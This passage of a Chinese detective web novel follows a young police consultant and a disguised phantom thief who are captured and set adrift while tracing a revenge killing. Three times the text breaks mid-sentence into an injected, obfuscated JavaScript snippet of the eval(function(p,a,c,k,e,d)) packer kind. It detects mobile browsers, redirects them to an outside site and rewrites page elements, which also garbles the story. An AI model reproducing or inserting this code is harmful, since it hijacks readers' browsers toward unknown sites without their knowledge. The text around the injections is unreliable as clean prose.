特聘为警局顾问的阿莉雅当然没有培训过,她只是作为协助人员帮忙推进案件进展,又不是真的警察。没有人考虑过让这位未成年的小姑娘亲身上阵潜入搜查,自然也就不存在给她培训的事。 “我背着你行动吧。”吉尔蹲下身子,“雨伞你自己抓好。” 自知理亏的阿莉雅乖乖爬到对方的背上,然后压低嗓音指挥:“前面的岔路往右转,然后下楼梯进到拍卖会场的仓库里面。” “你知道路线?” “我背下来了。”感谢助手谢德的帮助,“亚瑟和这个拍卖会的老板是朋友。” 他们所在的拍卖会场是布谷鸟市的分会场,亚瑟认识的是总部的老板。对方听说是协助破案,很爽快地把地图送来了。 有人形地图阿莉雅的指路,吉尔轻轻松松背着她到达了仓库的大门前,他感慨:“从没觉得潜入这么简单过。” “你自己注意不要掉下来,我要撬锁了。”吉尔提醒背上的人,之后毫不犹豫地松开手处理眼前的门锁。 阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323322|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 莉雅像只树袋熊,牢牢地勒住吉尔的脖子:“进去后到雕像的区域,在最左边。” “你打算查美术馆的雕像?” “嗯。虽然怀疑那个案件的凶手是菲尔·达勒,但馆长巴里先生又确实给出了雕像经手拍卖会的证据。” 这还是亚瑟问到的信息。 吉尔的脚步无声,即使背上有个人也丝毫不见吃力地轻松前进。 “雕像有很多,你要怎么查?” “拍卖品都会有出入库的时间日期,去找记录的本子。”阿莉雅指挥,“小桌子或者架子上会有本子。” 在雕像区域的入口处,果然有一个桌子,上面摊开放着一个本子。 “我还以为这种要在柜台前才能看见。”吉尔很是熟练地翻起了本子。 阿莉雅拍拍他的脑袋:“仓库也会有记录的,而且大型仓库就更需要多人监管,每个人都负责不同的区域。为了防止这些人监守自盗,还会有个汇总记录的本子。” “但是拍卖会举办不是每月一次吗?那个死者死于近期,怎么想也不会是从这里买到手的吧。” “所以来查原因嘛。”阿莉雅说,“有人协助造假了拍卖记录,走正常渠道还需要申请搜查令,太浪费时间而且也容易打草惊蛇。” 吉尔终于领悟到阿莉雅要偷偷潜入的原因了:“我还以为你打算抓凶手。” 阿莉雅扬眉:“你对一个手无缚鸡之力的顾问说什么呢,我只会在找到证据后让警察抓人。” “是吗?”像是生活在阴湿潮暗之处的声音响起,之后两人都觉得脑袋一痛失去了意识。 * 睁眼醒来时,阿莉雅揉了揉脑后的肿包,心想自己的脑袋自从失忆后好像就一直受伤。 她复盘了全过程,对于两人被抓毫不意外。 听见身边悉悉索索的动静,阿莉雅叹气:“你可以安静一会儿吗?” 那细碎的声音猛地停下,一声轻笑溢出,“啊,抱歉抱歉,我只是在研究这里的铁锁。” “哦,原来也有怪盗卡萨诺瓦撬不开的锁啊。”阿莉雅撇嘴。 吉尔探员,或者说怪盗卡萨诺瓦无奈道:“就算是怪盗也需要时间啊——你什么时候发现的?” “第一次见面,握手的时候。”阿莉雅拍了拍裙子扶着身侧的墙壁站了起来,“你手上的茧不像是实习探员,而且和亚瑟讨论那张犯罪预告函的时候,你的语气就像是笃定那不是卡萨诺瓦送来的一样。” “不过你的脸摸上去是真的,所以这幅样子是你的本来面目吗?”阿莉雅循声走过去捏了捏怪盗的脸,“这样你就有通缉令了诶。” 卡萨诺瓦对她的气定神闲有了数:“你计划好的?” “我是有想过顺便引出犯人。”阿莉雅摸摸后脑勺的肿包,“但是没想过会被关起来。” “这么说来,我也完全没听见对方的脚步声。”卡萨诺瓦也觉得奇怪,“我对自己的听力还是很有自信的。” “哎呀,看来判断失误了。凶手有特训过。”说着判断失误的话,但语气却毫无挫败感,“对面有两个人。” “有兴趣合作吗,怪盗?” 33. 永昼与黑夜之间·第十二幕 “我好像也没有拒绝的权力。”怪盗先生加快手上的动作,“啪嗒”一声,铁锁落到了地上。 “啊。”阿莉雅嗅嗅,“海水的味道。” 怪盗卡萨诺瓦推开门,迎面的是海风携来的咸湿海味,他沉默片刻:“为什么会在海上。” 入目是一片蓝色的大海,他们正站立在一艘小船上,先前以为的房间是个铁皮箱子。 难怪先前总觉得晃晃悠悠的,阿莉雅还以为是头部受创的后遗症。 “嫌我们碍事吧。”阿莉雅原地坐下,“说明凶手是有目标地在报复,不会滥杀无辜,而且很自信自己不会暴露。” “你最近遇到的犯人是不是都太偏激了点?”不再假扮吉尔探员的身份后,怪盗先生说话的语气变得随意了很多,“之前的那个炸弹犯是这样,这次的连环杀人案也这样。” 他也席地而坐,面对大海,就算是怪盗也束手无策:“你有没有考虑过去教会去去霉运。” “同样的套路连续重复就会变得无聊了。”阿莉雅托腮,“这次的犯人没有自毁倾向,对方只是单纯在报复。” “报复走私团伙?” “报复的那群人刚好属于走私团伙。” “理由?”怪盗学着阿莉雅的姿势托腮,“因为罗斯?格林的意外落水吗?” “不是。那只是一个月以前的事情了。”阿莉雅摇头,“应该要往更久以前追溯。” “你知道布尔托斯惨案吗?” 怪盗眨眨眼:“你这个年纪知道的是不是有点太多了?” 阿莉雅无视他的调侃:“布尔托斯惨案就是一群瘾君子在药效期发疯,对三名野外露营的学生进行惨无人道的侵害后将伤痕累累的他们扔在布尔托斯的野外——直到学生的家属找了过去发现孩子的尸体。” “那时的布谷鸟市警察局还没有那么干净,拖延了数日案子毫无进展,又因为高官贵族们接连收到恐吓信,警力全都调到恐吓案件上。学生的案件无人调查,最终不了了之。” 即使当时的报纸印刷了最大的版面给布尔托斯惨案,但看客的记忆如同流水,一旦有新鲜的事情发生,人们的注意力很快便转移。更别提是高官贵族们的乐子。 “这次的死者中有布尔托斯惨案的凶手。”怪盗笃定。 “当年也有人证,据说是个未成年人——” “菲尔?达勒?他是人证?” “嗯,谢德查的资料里说,菲尔?达勒和那三名学生是同学,他们原本约好一起野营。不过那天菲尔?达勒因为处理一些私事耽误了时间,赶到的时候已经有一群瘾君子在那里了。他因为害怕跑走了。” “哈……”卡萨诺瓦深深叹息,“原来如此,所以他也在报复的名单里。你是怎么发现的?” 指的是这次案件和布尔托斯惨案的关联。 说到这件事,阿莉雅难得不满的鼓起脸:“不是我发现的,是妈妈发现的。” 啊,是说警察总监大人。怪盗心虚地摸摸鼻子。 “亚瑟把那张预告函还有今天早上的事全都告诉了妈妈,妈妈听见菲尔?达勒的名字就表示有印象。”阿莉雅不甘心地说,“是信息差,如果我能同步信息早就能想到了。” 亚瑟每天都会和家里通讯汇报一天的事情,所以今早的两起案子也毫不例外地分享到齿轮市的家人耳中。 “小莉雅很努力啊。”吉娜?科洛桑说,“有干劲是好事,但你们都要注意安全。” 夏洛特?科洛桑评价:“亚瑟,你还是很有用的。” 画室中的父亲:没人在意一下我吗?我也想和孩子通讯啊! 阿莉雅郁闷:“我以为是针对走私团伙展开的报复。” 怪盗摸摸脑袋:“我原本只是打算来调查最近频繁用我名号发送的预告函是怎么回事的,没想到会变成在大海上漂流的情况。” “没有做好充分的准备就会变成这样。”阿莉雅幸灾乐祸。 “说到底是因为你决定要潜入搜查吧。”卡萨诺瓦扯了扯阿莉雅的脸,“我是被你牵连的可怜家伙!你做事还真是不给自己留后路。” “才不是。”阿莉雅口齿不清地反驳,“我可是有做好风险预案的。” “诶?”怪盗松手。 揉揉脸颊,阿莉雅低头展示了自己脑袋上的蝴蝶结:“哼哼,这可是特制的追踪器。” “你助手做的?” “不知道!”阿莉雅理直气壮,“不管是谁做的,能用就行了!” 大概是谢德做的,毕竟也没有第二个人会把追踪器改装成蝴蝶结的款式了,还是刚好适配阿莉雅今天穿着的颜色。 不过这些暂且都不是重点。 “所以我们只要能撑到救援赶到就没问题了。”阿莉雅摸了摸蝴蝶结,“这次也能顺利抓到犯人。” “布尔托斯惨案的受害者家属啊……”怪盗唏嘘,“作为罪犯的一员,我是不是该祝愿他们能够逃脱追捕?” “就算你许愿也没有用。”阿莉雅伸懒腰,“收音器和追踪器的二合一款式已经被我放到凶手身上了。” “这是非法取证吧。”虽然只是借用了实习探员的身份,但怪盗还是有好好学习过相关的知识的,“属于程序违规。” 根据米德戴联盟的法律规定,取证应当告知当事人。 阿莉雅摇摇手指:“对于警方人员来说是需要提前告知,但是作为被绑架的受害者,我只是有随身携带收音器录音的习惯而已。” 她摊手:“可能是嫌疑人在搬运我的过程中,收音器‘不小心’从我身上转移到嫌疑人身上而已。” “一个小小的意外啦~” 怪盗拧眉:“所以你还是故意被抓的。” “虽然确实有预料到会遇到犯人,但我也没想到会被关在海上。”阿莉雅发誓她真的没有预料到这种情况。 “如果可以的话,我希望下次能够提前告诉我计划……不对,最好不要有下次。”怪盗无奈地起身,“好了,我们先进去避避风吧,深夜的海面温差可是很大的。” 阿莉雅也感受到骤降的体温,海风逐渐大了起来,她不争气地打了个喷嚏。 “哈,你要感冒了。”这次轮到怪盗幸灾乐祸,“这就是自食其果。” “小小感冒,不足为惧。”阿莉雅嘴硬,但很诚实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336108|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走进铁箱并推上了门。 “所以,布尔托斯惨案的犯人是谁?”怪盗比较挂心那件案子。 “如果你问的是警方的资料,那么我只能告诉你当时根本没有用心查。” 卡萨诺瓦了然:“那么非官方的资料呢?” 阿莉雅揉揉刚刚被风吹得有些僵硬的脸颊:“非官方的资料,虽然不能告诉你具体来源,但是有搜到案件发生当晚附近人的证词。” “居住在布尔托斯附近的居民说,在那天晚上先看见了一辆蒸汽马车抵达,从上面走下来三名背着野营工具的学生。因为那段时间是野营淡季,所以他们三人很好辨认。” “之后,同一辆蒸汽马车离开后再次返回,从上面走下来三个青年。居民回忆说那三个人都是比较壮硕的体格,其中一人的打扮很像是司机的统一服饰。” “是里斯·怀特吗?” “只能说,推测是他。”阿莉雅对于没有证据这点也很遗憾,“人证只能证明有这样三个人抵达过,不能证明他们就是布尔托斯惨案的凶手。同样,因为时隔多年,证词也有可能变得模糊不可靠,把死者照片交过去辨认恐怕也无法肯定究竟是否是同一人。” 怪盗意识到了什么:“换句话说,已经无法捉拿凶手了。这么多年,就算当时还留有证据,估计也被犯人在这些年偷偷消灭了。” 阿莉雅抿唇:“是,你说得没错。而且这也不是时间跨度大的连环杀人案,一旦他们忍住不再犯错,就像河水流入大海一样难寻踪迹。” “这次的犯人就是因为这一点,所以才决定自己进行复仇的吧。”怪盗似有感慨,“警察彻底在民众那里失去信任了啊。” “虽然很想反驳,但事实就是你说的那样。”阿莉雅靠在角落,“系统里只要出现一只虫子,就会被质疑全都是虫子。得不到信任也很正常。” “等不到黎明是很可怕的。” 怪盗安慰地拍拍她的脑袋:“至少在齿轮市,有不少民众还是很信任你的。” “谢谢夸奖,所以你住在齿轮市,对吗?” 对于顾问小姐见缝插针地追击,怪盗选择了转移话题:“所以凶手会是谁呢?我是说,现在这个案子的凶手。” 阿莉雅反问他:“你觉得凶手的定义是什么呢?真正动手杀人的才算是凶手吗?” 谢德站在审讯室的玻璃窗外,有些焦躁地靠到墙上:“还没找到人吗?” 旁边的小警员咽了咽口水答:“是、是的,阿莉雅小姐带着的追踪器似乎有些损坏,传来的位置和实际的方位会有些延迟。” 追踪器有损坏?但是他当时绑在了阿莉雅的脑袋上。谢德皱眉。该死,看来阿莉雅的头部又一次受到了撞击,早就说了不要做危险的事!这次要罚她吃五个小番茄。 谢德的不满更是全部都发泄在另一个人身上:那个怪盗在干什么,有他跟着还能让阿莉雅受伤,等抓到他一定要好好审问。 摆脱医院的医生和护士对谢德·道格来说本来就不难,只不过因为阿莉雅要求他好好恢复才听话的。 谢德·道格出现在警察局的原因很简单,阿莉雅需要,所以他来了。 34. 永昼与黑夜之间·第十三幕 诺里·本有些兴奋。 即使他又一次被押到了审讯室中也无法掩盖他内心的激动。 六年,已经过去整整六年了,他们终于能够向害死亲人的凶手复仇了。 他舔了舔干裂的嘴唇,布满红丝的眼球转了转望向对面的警察:“我已经把能交代的事情全部交代干净了,我不知道为什么又被叫了过来。” 黑发的青年眼神冷冽,但不断敲打着桌面的手指暴露出他并不平静的内心:“诺里·本,在上个周日潜入了布谷鸟市市立美术馆,作为走私团伙的一员被逮捕,没错吧?” 诺里不明白为什么要在这时候确认自己的身份,他反反复复默念了青年的话,没有发现陷阱,爽快地承认:“是我。” “你也承认上周的恶作剧全部是由你一人所为,没错吧?” “对,都是我做的。因为我没找到原本交易的东西,所以把可能存放的位置都找了一遍。美术馆内部的东西翻动过没归于原位是为了提醒我的接头人。”诺里·本已经复述过很多次了,但他不介意在此时再复述一遍。 “里斯·怀特和你是什么关系?” “他是我的另一个接应人。”诺里在内心默默补充:同时也是害死我姐姐的凶手之一。 “佐利斯·布莱克也是你们走私团伙的一员,你认识他吗?” 诺里摇摇头:“为了安全,我们组织内部是完全匿名进行联络的。如果遇到需要交接货物的情况也会选择用暗号提示位置。但为了防止有人顶替身份,每一人都会拥有两个接应人知晓彼此身份。我只认识罗斯·格林还有里斯·怀特两人。” 对面的黑发青年靠到了椅背上:“你认识罗斯·格林,却不知道他在一个月前落水身亡,你觉得我会相信你说的话吗?” “我不喜欢看报纸,平常也不会和接应人有私下的交流,最多就是交易的时候见面。”诺里·本给出了一个还算合理的回答。 谢德·道格深呼吸,他也察觉到自己的焦躁,这样对后面的审问有影响,必须尽快冷静下来才行。 “你才二十岁,为什么要加入走私团伙贩卖毒品?” 这倒是之前的警察没有问过的问题。诺里·本下意识提高了警惕,这是要走怀柔政策吗? 他斟酌着开口:“因为我需要钱。” “里斯·怀特、佐利斯·布莱克,这两人不仅贩毒同时也是瘾君子。”谢德敲了敲桌面,“被关押的这么多天,还能保持精神状态稳定,你从未碰过毒品,对吗?” “因为我只需要钱。”诺里谨慎回答。他也不可能去吸食导致他姐姐的生命终结的东西。 “你是如何加入走私团体的?有没有想过换个身份?” 这是打算吸纳他作为走私团伙的卧底吗?诺里·本装作犹豫地回答:“我是因为负债被他们直接邀请进入走私团伙的,最开始让我打工还债,后来结清了欠款就赚到钱了。” 顿了顿,又补充:“我想,把我放出去恐怕是行不通的,我认识的两名接应人都死了,就算我回去,没有人证明身份的我也会被怀疑有问题。” 谢德笑了:“哈,两名接应人都死了?里斯·怀特可没死。” “怎么可能!”诺里·本瞪大了眼睛拍桌站起,随后意识到自己反应过度,又缓缓坐下,“怎么可能呢?里斯·怀特应该……” “哦?他没死你很意外?”谢德挑眉,“怎么,你是从哪知道他死了的?我可是和之前的审讯人员对接过,没有人提过里斯·怀特死掉的事。” 诺里·本的大脑飞速运转。没人提过,确实,没有人提过里斯·怀特死亡的事。只不过他们在他透露这个人的信息当天下午再一次提审他,希望能从他嘴里获取更多的信息。 那个时候他以为计划顺利进行,所以理所当然地认为里斯·怀特死了。但是,现在这个警察说的就一定是真的吗?里斯·怀特还活着? 内心反复计算得失后,诺里·本摇头:“当时审讯的人看起来很焦躁,我就以为他死了。毕竟当时反复询问,让我给出更多的成员信息。” 审讯室外传来敲门的声音,诺里·本循声看去,一位金发的青年推门:“谢德,出来一下。” 坐在诺里对面的黑发青年起身。 “啪。”门关上,审讯室又只剩诺里·本一人。 “找到阿莉雅了吗?”谢德关上门就立刻提问。 亚瑟头疼:“还没有,信号延迟太严重了,现在正在集合更多的人力进行救援——你刚刚的审讯过于焦躁了,对面的犯人都看出来你有心事,这样下去不行。” 这点谢德确实也无法反驳:“我会努力控制好的。” 亚瑟摆摆手:“你去救援那边吧,这边审不审都没关系了,阿莉雅放的收音器已经清楚地录下了他们的合作关系,接下来只要逮捕剩下的几人就好。” 他叹气:“不过为了证据链的完整性,最好还是能从诺里·本这里问出他们的完整计划……诶,人呢?” 一边围观的警员回答:“道格先生在您说到让他就救援那边的时候就离开了。” “那家伙……”亚瑟疲惫地揉揉太阳穴,“算了,等会儿警探来了和我说一声。”审问的事情稍微延后也并无问题,给诺里增加些心理压力或许能在之后的审问中更轻易地击破他的心理防线。 “该说是过度保护吗?”他思考,“以前好像也没有这种程度吧。” 阿莉雅偶尔是有些粗心,以身犯险的事情也没少干。但她还是很宝贝自己的生命的,至少不会让自己死掉。 或许是因为谢德在短短几天内经历了阿莉雅失忆失明,又遭遇了炸弹案,导致他现在有着非常旺盛的保护欲——是亚瑟作为阿莉雅亲哥哥都觉得有些过度的程度。 “虽然是小莉雅默许的,但是装上追踪器还有收音器还是有些可怕啊。”亚瑟感慨的时候完全忽略了自己妹妹反过来利用了追踪器和收音器抓犯人的行为。 小警员小心翼翼询问:“为什么您好像完全不担心阿莉雅小姐呢?” “嗯?我吗?”亚瑟意外,“为什么要担心呢?小莉雅做事的风格只是有些激进而已,可不是会拿自己的生命做赌注的孩子。” “小瞧她可是会吃大亏的。” * 行事风格激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15351464|164709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进的阿莉雅此刻正乘着小船随着海浪漂泊。 “我听到了雨声。”阿莉雅拍拍旁边睡着的人,“快醒醒,外面可能下雨了。” 被推醒的怪盗打了个哈欠:“什么?” “下雨了。”阿莉雅重复,“听起来不是小雨。” 话音刚落,头顶上便传来雨滴拍打铁皮箱的声音,似有人在他们的脑袋上跳踢踏舞。 “嗯……听起来我们只有五个小时的存活时间了。”阿莉雅冷静开口,“雨夜航行的遇难者大多数死于船只接缝渗水导致的沉没。” 怪盗挠挠睡乱的头发:“我去检查。” “如果降雨量超过三英寸每小时,那么我们只要静静等死就好。”阿莉雅摘下披肩塞到怪盗的怀里,“船上也没有可以密封船体接缝的油脂,除了手动排水外我们似乎没有别的自救方案了。” 卡萨诺瓦接过大小姐的好意,将披肩系在脑袋上:“除了油脂还需要什么?” “通常来说会把帆布改制为临时顶棚,不过我们本身就在铁皮箱内,不用考虑淋雨的可能。” 怪盗的手上下一翻,一排蜡烛出现在他的手里:“我带了蜡烛。” 怪盗卡萨诺瓦的魔术对阿莉雅来说就是抛媚眼给瞎子看:“有点燃的道具吗?” “有,只要密封接缝处就可以了吧。”怪盗又从怀里拉出一件宽大的雨衣披上,“交给我就好。” 卡萨诺瓦推开门,被风雨打了一脸,他晃晃脑袋把门紧紧关上:“你可千万别出来啊。”本来大小姐就有些体弱,如果淋到雨恐怕就要发烧了。 现在这个情况可没办法处理发烧的大小姐。 怪盗的动作并没有因为骤然降临的风雨而变得慌张,他先是从头到位检查了这艘小船的情况,比他预料要好得多。 船体是铁皮质的,所以接缝处并不像木制那样容易渗水。 在狂风中护住微小的蜡烛火焰,怪盗低下身子,一点点将蜡油涂抹到铁皮接缝处。从天而降的雨水没过了他的鞋底,怪盗抬头看了向黑压压的天空,转身向船尾走去。 印象中,铁皮船都会留一个排水沟槽。 摸索了一会儿,他终于找到控制排水的手柄。下压,流水声哗哗响起。怪盗转身回去继续完成工作。 再次回到铁皮箱内后,他的衣服已经全部湿透了,只剩一个脑袋,在和其他部位的对比下,即使滴着水也显得干爽多了。 “把衣服脱掉吧。”阿莉雅听见吸饱了雨水的衣物正滴滴答答地流水,“死于失温的人并不比小船沉没的人少。” “哈?”怪盗先是惊慌地向后退了一步,之后才反应过来,反正他脱了对面的那位大小姐也看不见。 阿莉雅提醒:“如果你的蜡烛还有剩,可以尝试烤一烤衣服。这个铁皮箱并不是完全密封的,不用担心窒息的风险。” 静静等待了一会儿,阿莉雅听见了脱下衣物的细碎声音。她托着腮心想:如果这个时候救援赶到,是不是就能抓住光溜溜的怪盗了呢? 摇摇头,阿莉雅自己否决了:还是不要了吧,看在怪盗辛辛苦苦排除了小船沉没风险的份上。